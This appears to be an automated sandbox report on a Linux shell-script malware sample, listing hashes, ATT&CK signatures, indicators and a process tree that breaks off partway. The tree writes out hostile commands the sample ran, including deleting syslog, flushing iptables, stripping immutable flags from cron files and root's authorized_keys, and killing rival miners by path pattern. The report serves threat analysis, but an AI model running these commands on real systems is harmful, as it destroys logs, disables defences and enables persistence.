bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87

Analysis

max time kernel
150s
max time network
22s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24/02/2025, 03:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87.sh
Size

35KB
MD5

d7687ddb64cad3593f71086a856d53ef
SHA1

0e921dc477dd7efcd8a456a7ea8f8720b2a11947
SHA256

bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87
SHA512

a69ded2a945f0a6eaf1c325b37471c76bdc4f963ade77d816043eaafdfbfa377e85ba983123c7ee9403dafde427cca2f64eecebd3ba6e241d7cdc42700dca865
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytIuz:bOVF+D6cIwgosTz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
717	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
722	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1725	xargs
1779	xargs
1653	xargs
2058	xargs
1468	xargs
1599	xargs
1769	xargs
1818	xargs
2029	xargs
1474	xargs
1665	xargs
1699	sed
1705	sed
1919	xargs
1974	xargs
1722	xargs
1726	sed
1853	xargs
1924	xargs
1949	xargs
714	chattr
1514	xargs
1728	xargs
2009	xargs
712	chattr
1520	xargs
1701	xargs
1969	xargs
2044	xargs
1659	xargs
1702	sed
1791	xargs
1879	xargs
2053	xargs
1605	xargs
1710	xargs
2004	xargs
1629	xargs
1677	xargs
1964	xargs
1683	xargs
1689	xargs
1954	xargs
1999	xargs
1504	xargs
1695	xargs
1711	sed
1538	xargs
1774	xargs
1813	xargs
1484	grep
1489	xargs
1698	xargs
1929	xargs
2014	xargs
709	chattr
1635	xargs
1707	xargs
1802	xargs
1848	xargs
2019	xargs
742	chattr
1641	xargs
1717	sed

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.VUjcRl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.uxPUhL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5qc8Yo	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.zRqPax	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.XchLpy	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WnCWF1	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kpMZkg	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.V4VAxJ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Z5ZWYa	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gGFQnP	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Hl9N2e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Spq6US	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.KgPI5b	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill

Process Discovery 1 TTPs 62 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1819	ps
1885	ps
1485	ps
1910	ps
2030	ps
1765	ps
2040	ps
1770	ps
1834	ps
1859	ps
1775	ps
1854	ps
1970	ps
2049	ps
1481	ps
1500	ps
1905	ps
1920	ps
1935	ps
1990	ps
2020	ps
2025	ps
1950	ps
1960	ps
1540	ps
1824	ps
1829	ps
1940	ps
1945	ps
1955	ps
1980	ps
2015	ps
1849	ps
1895	ps
1925	ps
2010	ps
2045	ps
2054	ps
1875	ps
1915	ps
1476	ps
1483	ps
1995	ps
2005	ps
2035	ps
1844	ps
1865	ps
1890	ps
1975	ps
1985	ps
1464	ps
1870	ps
1900	ps
1930	ps
1470	ps
1495	ps
1814	ps
1839	ps
1880	ps
1965	ps
2000	ps
1490	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/701/stat	ps
File opened for reading	/proc/78/cmdline	ps
File opened for reading	/proc/78/cmdline	ps
File opened for reading	/proc/225/cmdline	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/344/stat	ps
File opened for reading	/proc/701/status	ps
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/141/status	pkill
File opened for reading	/proc/315/status	pkill
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/141/stat	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/346/stat	ps
File opened for reading	/proc/225/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/699/stat	ps
File opened for reading	/proc/701/cmdline	pkill
File opened for reading	/proc/1853/cmdline	ps
File opened for reading	/proc/114/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/2044/cmdline	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/12/cmdline	ps
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/78/status	ps
File opened for reading	/proc/680/cmdline	ps
File opened for reading	/proc/69/cmdline	pkill
File opened for reading	/proc/372/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/700/stat	ps
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/225/status	ps
File opened for reading	/proc/513/stat	ps
File opened for reading	/proc/552/cmdline	ps
File opened for reading	/proc/346/stat	ps
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/165/status	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/700/stat	ps
File opened for reading	/proc/1953/stat	ps
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/225/status	ps
File opened for reading	/proc/397/status	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1420	ls
2012	grep
2042	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87.sh

/tmp/bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87.sh
/tmp/bbc997c2447527747f7785423b83f9def89a3270aa8c3c1fd8f2a2f38e13bf87.sh
1⤵
- Writes file to tmp directory
PID:702
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  PID:704
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:705
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:709
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:712
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:714
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:717
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:722
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:731
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOLb-0000Bn-5F
      4⤵
      Reads CPU attributes
      PID:782
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:734
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmOLV-0000Bq-LK
      4⤵
      PID:746
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:736
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:738
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:740
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:742
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:743
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:744
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:745
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:748
- /bin/grep
  grep exe
  2⤵
  PID:751
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:750
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:755
- /bin/grep
  grep exe
  2⤵
  PID:758
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:757
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:761
- /bin/grep
  grep exe
  2⤵
  PID:764
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:763
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:767
- /bin/grep
  grep exe
  2⤵
  PID:770
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:769
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:773
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:775
- /bin/grep
  grep exe
  2⤵
  PID:776
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:778
- /bin/ls
  ls -latrh /proc/114
  2⤵
  PID:780
- /bin/grep
  grep exe
  2⤵
  PID:781
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:784
- /bin/grep
  grep exe
  2⤵
  PID:787
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:786
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:789
- /bin/grep
  grep exe
  2⤵
  PID:792
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:791
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:794
- /bin/grep
  grep exe
  2⤵
  PID:797
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:796
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:799
- /bin/grep
  grep exe
  2⤵
  PID:802
- /bin/ls
  ls -latrh /proc/141
  2⤵
  PID:801
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:804
- /bin/grep
  grep exe
  2⤵
  PID:807
- /bin/ls
  ls -latrh /proc/148
  2⤵
  PID:806
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:809
- /bin/grep
  grep exe
  2⤵
  PID:812
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:811
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:814
- /bin/grep
  grep exe
  2⤵
  PID:817
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:816
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:819
- /bin/grep
  grep exe
  2⤵
  PID:822
- /bin/ls
  ls -latrh /proc/165
  2⤵
  PID:821
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:824
- /bin/grep
  grep exe
  2⤵
  PID:827
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:826
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:829
- /bin/grep
  grep exe
  2⤵
  PID:832
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:831
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:834
- /bin/grep
  grep exe
  2⤵
  PID:837
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:836
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep exe
  2⤵
  PID:843
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:842
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:845
- /bin/grep
  grep exe
  2⤵
  PID:848
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:847
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:853
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:852
- /bin/grep
